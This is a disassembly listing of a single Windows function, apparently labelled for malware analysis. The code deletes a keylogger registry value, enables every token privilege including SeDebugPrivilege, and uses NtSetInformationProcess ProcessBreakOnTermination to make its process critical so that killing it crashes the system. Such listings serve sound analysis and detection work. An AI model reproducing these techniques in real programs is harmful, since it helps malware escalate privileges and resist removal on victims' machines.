Function at 0x140001380
Capabilities:
Acquire debug privileges
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x14003c010]
xor rax, rsp
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400013fc
mov rcx, qword [rbp + 0x30]
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rbp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x1400013fc
lea rcx, str.keylogger_delete_OK__n
call fcn.1400012c0
xor edi, edi
mov qword [rbp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x30]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400015d0
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0x20], rdi
mov qword [rsp + 0x38], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rcx
mov ebx, edi
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rsp + 0x48], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rsp + 0x50], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rsp + 0x58], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rsp + 0x60], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rsp + 0x68], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rsp + 0x70], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rsp + 0x78], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp - 0x80], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp - 0x78], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp - 0x70], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp - 0x68], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp - 0x60], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp - 0x58], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp - 0x50], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp - 0x48], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp - 0x40], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp - 0x38], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp - 0x30], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0x18], rcx
nop dword [rax]
xor ecx, ecx
lea r8, [rbp + 0x3c]
mov rdx, rax
mov qword [rbp + 0x38], rcx
mov qword [rbp + 0x40], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x30]
lea r8, [rbp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rbp + 0x38], 1
mov dword [rbp + 0x44], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rsp + rbx*8 + 0x30]
test rax, rax
jne 0x140001580
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x1400015f7
lea rcx, str.OpenProcess_error__n
jmp 0x14000165d
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001622
lea rcx, str.GetProcAddress_error__n
jmp 0x14000165d
mov r9d, 4
mov dword [rbp + 0x30], 1
lea r8, [rbp + 0x30]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x140001656
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x140001662
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov eax, 1
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.140004150
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret